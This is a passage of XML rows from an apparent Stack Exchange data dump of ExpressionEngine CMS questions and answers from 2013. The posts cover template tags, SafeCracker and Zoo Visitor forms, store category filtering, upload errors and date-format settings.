  <row Id="11163" PostTypeId="2" ParentId="10947" CreationDate="2013-06-11T14:38:48.863" Score="1" Body="&lt;p&gt;Just found a way to avoid this problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I change the hook from &lt;code&gt;cp_js_end&lt;/code&gt; to the &lt;code&gt;cp_menu_array&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Will work&#xA;function cp_menu_array($menu)&#xA;{&#xA;    print_r(ee()-&amp;gt;session)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please make sure that you not returning your JS but add your js with to the with &lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_foot('&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-06-11T14:38:48.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11164" PostTypeId="2" ParentId="7469" CreationDate="2013-06-11T16:07:58.120" Score="1" Body="&lt;p&gt;Yes it's totally possible simply use {author_email} in the email &quot;to&quot; field from the Modules/Extention/Settings section of the plugin.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Navigate to the Add-ons/extentions/MX Notify Control-&gt; click on settings&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;To Email&quot; add {author_email} &lt;em&gt;(or what ever the name of the input field used in your safe cracker form)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it !&lt;/p&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="-1" LastEditDate="2013-07-04T14:25:05.797" LastActivityDate="2013-07-04T14:25:05.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11165" PostTypeId="2" ParentId="11159" CreationDate="2013-06-11T16:43:18.250" Score="1" Body="&lt;p&gt;Answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;{categories backspace=&quot;1&quot;}{category_url_title}|{/categories}&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="422" LastEditDate="2013-06-11T16:45:24.773" LastActivityDate="2013-06-11T16:45:24.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11166" PostTypeId="1" CreationDate="2013-06-11T16:55:31.090" Score="1" ViewCount="130" Body="&lt;p&gt;I have a safeCracker form that takes in users e-mail address. I would like to validate that a user that has already registered is not registering for a second time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2013-06-13T07:21:14.310" Title="SafeCracker validate if custom field is not a duplicate" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11167" PostTypeId="2" ParentId="11092" CreationDate="2013-06-11T16:57:33.460" Score="0" Body="&lt;p&gt;Jason - Have a look at any .htaccess within the path of your install. This could be re-writting the urls...&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2013-06-11T16:57:33.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11168" PostTypeId="2" ParentId="11156" CreationDate="2013-06-11T18:33:30.697" Score="1" Body="&lt;p&gt;I believe the user either needs to &lt;em&gt;purchase&lt;/em&gt; the subscription so they agree to the recurring payment and provide their card details with the transaction or if it's for an existing member then they need to have paid before with a payment gateway which supports the token vault system. These include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Authorize.net (CIM)   &lt;/li&gt;&#xA;&lt;li&gt;eWay (Token Payments)   &lt;/li&gt;&#xA;&lt;li&gt;Payleap (SCM)   &lt;/li&gt;&#xA;&lt;li&gt;Sage (Token)   &lt;/li&gt;&#xA;&lt;li&gt;Stripe&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They basically securely store the credit card details in their vaults so purchases can be made at a later date without needing to enter in those CC details again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be that the payment gateway that you're using doesn't support the token vault system or it may be that the customer either hasn't purchased from the store before. In which case you may need to setup a subscription plan and then get them to &lt;em&gt;purchase&lt;/em&gt; this on the front-end with one of the above payment gateways. That should see future subscriptions go through fine.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-11T18:33:30.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11169" PostTypeId="2" ParentId="11162" CreationDate="2013-06-11T19:10:58.413" Score="0" Body="&lt;p&gt;By default that's not the way that ExpressionEngine handles single entry pages or categories. It's an either/or. So if you had a single entry page then the URL would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/template_group/template/entry_title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For categories you can construct a category archive by using a category &lt;em&gt;trigger&lt;/em&gt;. In this case 'category':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/template_group/template/category/category_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would list all the entries which are linked to that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default there isn't a way to mix and match the two unless you use something like &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt; to tell EE to ignore certain segments in the URL. In your case you could tell it to ignore the category and category_name so that it just displays the entry as normal but you'd still have those segments in the URL. It includes the option to &quot;break on category URL indicator&quot; which you'll find useful in this case.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-11T19:10:58.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11170" PostTypeId="2" ParentId="11092" CreationDate="2013-06-11T19:42:01.813" Score="0" Body="&lt;p&gt;Make sure that the Category Name/Category URL Title has no duplicate. For example, if you have the same category name in two different category groups, that might freak it out perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. if you have a recipe website, say you have a Category Group called Lunch and another called Dinner. Both could have categories called &quot;Soup.&quot;&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-06-11T19:42:01.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11171" PostTypeId="1" AcceptedAnswerId="11176" CreationDate="2013-06-11T19:53:47.007" Score="1" ViewCount="778" Body="&lt;p&gt;On the Store index page it will show all products and then there is a simple category menu so you can filter down by the 5 categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was initially just going to use Javascript and filter by the class/category name of each div/product while still on the index page, however using the actual category URL should provide SEO benefits so would prefer to go this route. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm unsure how to get it working. The below code works in the sense that it lists the categories and beneath it lists all the products, however when you click to go to a '/store/index/category' URL, the page still shows all the products. I'm unsure where to go from here. Obviosuly I need to wrap the exp:store tags in the exp:channel:categories tags but when I do it starts listing out multiple products like crazy. Documentation on the Exp:resso Store site isn't that thorough. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;store&quot;}&#xA;   &amp;lt;a href=&quot;{path='store/index/{category_url_title}'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;{/exp:channel:categories}&#xA;&#xA;{exp:store:search orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA; {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;   &amp;lt;div class=&quot;product-item {categories}{category_url_title}{/categories}&quot;&amp;gt;&#xA;     &amp;lt;a href=&quot;{url_title_path='store/product'}&quot;&amp;gt;&#xA;      {store_images limit=&quot;1&quot;}&#xA;       &amp;lt;img src=&quot;{product_image}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;      {/store_images}&#xA;      &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;      {if on_sale}&#xA;       &amp;lt;s class=&quot;pre-sale-price&quot;&amp;gt;{regular_price}&amp;lt;/s&amp;gt;&#xA;       &amp;lt;span class=&quot;price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;      {if:else}&#xA;       &amp;lt;span class=&quot;price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;    &amp;lt;/a&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA; {/exp:store:product}    &#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="853" LastEditorUserId="853" LastEditDate="2013-06-11T19:59:52.770" LastActivityDate="2013-06-12T09:00:04.873" Title="Displaying Products By Category" Tags="|expresso-store|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11172" PostTypeId="2" ParentId="11138" CreationDate="2013-06-11T20:17:49.930" Score="1" Body="&lt;p&gt;OK, I'll kick this one off...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly you will need a trigger to tell the site you're dead. How to do this is the hardest part! Possibly you have to log in once a week to verify, but ultimately you'll need some failsafe's in place otherwise you risk worrying friends and relatives with your premature news.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either a Extension utilising a Session hook that runs upon each view of your site then does a check to see if you've been about, or a cron job that calls an ACTion URL (so triggering a module to do the pulse checks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then have a database table, custom user field or update the config file to set a global variable. Obviously if you've gone down the custom database table route, you'll need an additional extension/module/plugin that either pulls that information or sets a global variable to be used in any template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your channel &quot;off&quot; scenario, you just have conditionals, whereby your normal news/blog would utilise channel=&quot;X&quot;, and then either via a parent embed passing it or a simple conditional utilising the global variable, you add the death channel to the parameter, e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;channel=&quot;1{if dead}|2{/if}&quot;&lt;/code&gt; or &lt;code&gt;channel=&quot;{if dead}2{if:else}1{/if}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...or if passing via an embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=blog/listing channelParam='channel=&quot;{if dead}2{if:else}1{/if}&quot;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regarding: &quot;Per entry set to single member&quot;, I'm not sure which add-on you're referring to, but you could do this simply, by assigning the individual to receive the message as the author of the entry.  Then when &lt;code&gt;{if dead}&lt;/code&gt; display all entries by the current logged in member (if no message for that member, nothing is displayed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they already have access to the EE Control Panel, you can hide the entries or channels using this add-on &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-access&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Daily verification emails&quot;, touched on already above, but the easiest method would be to utilise the last visited status of your account and if you haven't been about for a couple of days, then raise the warning flag. As mentioned, either a cron triggering an ACT url and module, or an extension triggered by the session hook (only works if you have a popular site!). Your extension or module could then trigger an email to get you to login into the site. Or if you want to be lazy, you could have a hidden template URL that triggers the email for you: &lt;a href=&quot;http://devot-ee.com/add-ons/email-from-template&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/email-from-template&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3rd tier of rigor mortis verification would be the same email trigger as above, possibly after the time check has triggered again but after a longer period of time. The difference being that you'd need to get the relative/friend to click on a link (ACTion URL again) that either confirmed you'd popped your clogs, or your heart was still beating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted the 3rd level of checks may counter this, but the biggest problem would be false trigger due to prolonged time away from the internet, or what if there was a problem with your host going down for a period of time, coming back up, and all the triggers firing at once due to the time delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RIP.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-06-11T20:17:49.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11173" PostTypeId="1" AcceptedAnswerId="11174" CreationDate="2013-06-11T20:21:14.537" Score="3" ViewCount="352" Body="&lt;p&gt;I'm using Zoo Visitor and when a user tries to register, they get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You must be a logged-in member of this site in order to perform this action.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what is causing it...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my registration form...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form class=&quot;form form-validate&quot; return=&quot;account/register/success&quot;}&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li class=&quot;required&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf_member_first_name&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;required&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Surname&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf_member_surname&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;required&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;required&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        By clicking Register, you agree to our Terms &amp;amp;amp; Conditions and that you have read our Privacy Policy, including our Cookie Use.&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_member_terms&quot; value=&quot;Yes&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_member_emails_admin&quot; value=&quot;Yes&quot;&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Register &amp;amp;rarr;&quot;&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:zoo_visitor:registration_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-09-03T20:59:40.627" Title="Zoo Visitor Registration Error" Tags="|members|error|zoo-visitor|register|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11174" PostTypeId="2" ParentId="11173" CreationDate="2013-06-11T20:25:34.447" Score="3" Body="&lt;p&gt;Go to Add-ons --&gt; Modules --&gt; Zoo Visitor --&gt; Troubleshooting, it should be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Add-ons --&gt; Modules --&gt; SafeCracker, always check to see if anonymous registrations are allowed.&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="195" LastEditDate="2013-06-11T22:13:12.807" LastActivityDate="2013-06-11T22:13:12.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11175" PostTypeId="2" ParentId="11173" CreationDate="2013-06-11T20:55:04.257" Score="0" Body="&lt;p&gt;Are you sure that user is already logged into the CP when they try to register via the Zoo Visitor form on the front-end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you are logged out of the CP, or better yet try another browser to complete the registration. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-11T20:55:04.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11176" PostTypeId="2" ParentId="11171" CreationDate="2013-06-11T21:09:20.547" Score="2" Body="&lt;p&gt;Edit: Hopefully this matches what you describe more closely...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Seg2Cat will help you out. &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat/docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ditch the &lt;code&gt;{exp:store:search}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{last_segment_category_id}&quot; == &quot;&quot;}&#xA;    {!--   List categories   --}&#xA;    {exp:channel:categories channel=&quot;store&quot;}&#xA;       &amp;lt;a href=&quot;/store/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;    {/exp:channel:categories}&#xA;{/if}&#xA;&#xA;{!--   List either all products or specified category   --}&#xA;{exp:channel:entries &#xA;                channel=&quot;store&quot; &#xA;                dynamic=&quot;no&quot;&#xA;                limit=&quot;30&quot;&#xA;                paginate=&quot;both&quot; &#xA;                disable=&quot;member_data&quot;&#xA;                category=&quot;{last_segment_category_id}&quot;}&#xA;&#xA;{!--   Only show the category title on the first loop through (so it's at the top) - and only if a category is specified in the URL   --}&#xA;{if &quot;{count}&quot; == 1 &amp;amp;&amp;amp; &quot;{last_segment_category_id}&quot; != &quot;&quot;}&#xA;  {categories limit=&quot;1&quot;}&amp;lt;a href=&quot;/store/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;{/categories}&#xA;{/if}&#xA;&#xA;  {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;   &amp;lt;div class=&quot;product-item {categories limit=&quot;1&quot;}{category_url_title}{/categories}&quot;&amp;gt;&#xA;     &amp;lt;a href=&quot;/store/product/{url_title}&quot;&amp;gt;&#xA;      {store_images limit=&quot;1&quot;}&#xA;       &amp;lt;img src=&quot;{product_image}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;      {/store_images}&#xA;      &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;      {if on_sale}&#xA;       &amp;lt;s class=&quot;pre-sale-price&quot;&amp;gt;{regular_price}&amp;lt;/s&amp;gt;&#xA;       &amp;lt;span class=&quot;price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;      {if:else}&#xA;       &amp;lt;span class=&quot;price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;    &amp;lt;/a&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA; {/exp:store:product}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively use this as the category parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;{segment_category_ids_piped}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove the &lt;code&gt;{if &quot;{last_segment_category_id}&quot; == &quot;&quot;}&lt;/code&gt; conditional around the categories listing if you want this to appear on every screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want pagination, make sure you look at the settings for low seg2cat as there's an option that will ensure that the pagination segment is ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, assuming your template group is &quot;store&quot; and you're using the index template, you can just use this as your URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/store/{category_url_title}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='store/index/{category_url_title}'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is a lot cleaner and simpler :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note I've also changed your product URL to: &lt;code&gt;&amp;lt;a href=&quot;/store/product/{url_title}&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-06-12T09:00:04.873" LastActivityDate="2013-06-12T09:00:04.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11177" PostTypeId="2" ParentId="11142" CreationDate="2013-06-11T22:24:29.243" Score="2" Body="&lt;p&gt;I had the same situation on a site recently where client was offering samples on a SINGLE product. They needed to limit the samples to a maximum of 2 per order. Depending on how dynamic you need to make it you could do the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if url_title == &quot;your-product-name&quot;}&#xA;  &amp;lt;label class=&quot;field_label&quot;&amp;gt;Qty &#xA;  &amp;lt;select name=&quot;item_qty&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;{if:else}&#xA; &amp;lt;label class=&quot;field_label&quot;&amp;gt;Qty &amp;lt;input type=&quot;text&quot; name=&quot;item_qty&quot; size=&quot;3&quot; value=&quot;1&quot; class=&quot;input_sml&quot; /&amp;gt;&amp;lt;/label&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="553" LastActivityDate="2013-06-11T22:24:29.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11178" PostTypeId="2" ParentId="11002" CreationDate="2013-06-11T22:41:18.447" Score="1" Body="&lt;p&gt;Here's my workaround answer for post EE 2.6.1, not ideal, but seems to be working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embed the info from the entry you want to duplicate as a form within the parent SafeCracker page. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-----&#xA;PARENT&#xA;-----&#xA;&#xA;{exp:safecracker channel=&quot;my_channel&quot;}&#xA;&#xA;    {embed=&quot;my_tpl_group/my_form&quot; copy_from_entry_id=&quot;123&quot;}&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;button id=&quot;form_submit&quot; type=&quot;submit&quot; class=&quot;&quot;&amp;gt;Duplicate Program&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&#xA;&#xA;-----&#xA;EMBED&#xA;-----&#xA;&#xA;{exp:channel:entries channel=&quot;my_channel&quot; entry_id=&quot;{embed:copy_from_entry_id}&quot; }&#xA;&#xA;    {!-- Output the pre-filled form of the entry you are wanting to duplicate --}&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;program_number&quot;&amp;gt;program_number&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;program_number&quot; id=&quot;program_number&quot; value=&quot;{if program_number}{program_number}{/if}&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;program_start_date&quot; id=&quot;program_start_date&quot; value=&quot;{if program_start_date}{program_start_date format='%F %d, %Y'}{/if}&quot;&amp;gt;&#xA;&#xA;    .....etc.....&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-11T22:41:18.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11179" PostTypeId="2" ParentId="11126" CreationDate="2013-06-11T23:56:17.663" Score="1" Body="&lt;p&gt;After much rolling back, redeploying, branching, merging, and banging my head, looks like it was something to do with the FocusLab portable configuration setup. I set this up locally on the site after I FTP'd it down from the host but before I made my first GIT commit, so a full rollback and deploy didn't undo this part of the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, we use FocusLab portable configuration on many sites, and it works perfectly. I don't know how yet, but I screwed up its implementation when retrofitting it to the site as part the upgrade project. The site is currently running well with a standard EE config, and I'll find where my error was over the next few days and reimplement it correctly.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2013-06-11T23:56:17.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11180" PostTypeId="1" CreationDate="2013-06-12T03:28:56.783" Score="1" ViewCount="202" Body="&lt;p&gt;Is it possible to construct a form using Freeform/Freeform Pro and submit it using Safecracker? I'm basically just trying to combine the ease of building a form with the ability for it to create a channel entry, with the intention of creating a booking using the rEEservtion add-n.&lt;/p&gt;&#xA;" OwnerUserId="1646" LastActivityDate="2013-06-12T11:40:04.557" Title="Use Freeform Pro and Safecracker together" Tags="|safecracker|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11181" PostTypeId="1" AcceptedAnswerId="12710" CreationDate="2013-06-12T06:08:26.980" Score="1" ViewCount="254" Body="&lt;p&gt;I have been having issues with the assets plugin in our new server and am having a hard time trying to debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using ee file manager I get the below error. &#xA;ee: 2.6.1, &#xA;assets: 2.1.3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1364&#xA;&#xA;Field 'date' doesn't have a default value&#xA;&#xA;INSERT INTO `exp_assets_files` (`file_name`, `source_type`, `source_id`, `filedir_id`, `folder_id`, `kind`) VALUES ('5551725767_38cb459f19_b.jpg', 'ee', NULL, '2', '1', 'image')&#xA;&#xA;Filename: C:\www-customers\websitename\wwwrootV2\system\codeigniter\system\database\DB_driver.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When uploading via assets the progress bar fades away and I receive and 200 response of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;error&quot;:&quot;There was an error uploading your file: Assets could not complete the requested operation.&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paths and permissions are all (supposed to be) set up correctly. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1647" LastActivityDate="2013-08-14T02:00:23.157" Title="Assets File Upload issue" Tags="|ee2|assets|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11182" PostTypeId="1" CreationDate="2013-06-12T06:22:58.557" Score="2" ViewCount="57" Body="&lt;p&gt;I noticed a bug in EE upgrade process. I upgraded two sites form EE1.6 to EE2.5 and found that when templates are rewritten, some of the templates were set completely BLANK, and some of were edited in a way that very important code i.e. if conditions were removed from the code. How can we resolve this kind of issues? Any ideas.&lt;/p&gt;&#xA;" OwnerUserId="1648" LastActivityDate="2013-06-12T09:44:07.167" Title="The EE upgrade bug" Tags="|upgrade|" AnswerCount="1" CommentCount="1" ClosedDate="2013-06-13T16:42:23.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="11183" PostTypeId="1" AcceptedAnswerId="11190" CreationDate="2013-06-12T08:25:47.800" Score="3" ViewCount="1126" Body="&lt;p&gt;I want to show the date format in european style (dd-mm-yyyy). I changed and configured all settings to European. $config['default_site_timezone'] = Europe/Amsterdam doesn't solve the problem. Can anyone help me with this? I am running on EE 2.6.1.&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2013-06-12T14:46:27.290" Title="dd-mm-yyyy date format in Control Panel" Tags="|date|date-format|datetime|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11184" PostTypeId="2" ParentId="11183" CreationDate="2013-06-12T08:59:02.237" Score="2" Body="&lt;p&gt;If it's on the front-end then you can use date variable formatting to output it however you want. To output the dd-mm-yy format you'd just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{current_time format=&quot;%d %m %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The full reference can be &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;found here&lt;/a&gt; with some data formatting constants included too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Control panel go to Admin &gt; Localisation settings and set &lt;strong&gt;Server Timezone&lt;/strong&gt; to your country and &lt;strong&gt;Default Time Formatting&lt;/strong&gt; to European. In additon to this also make sure you go to your Member &gt; My Account &gt; Localization Settings and set this to European too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should see the date formatting change to a European format for your account as well as new accounts.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-06-12T09:50:36.480" 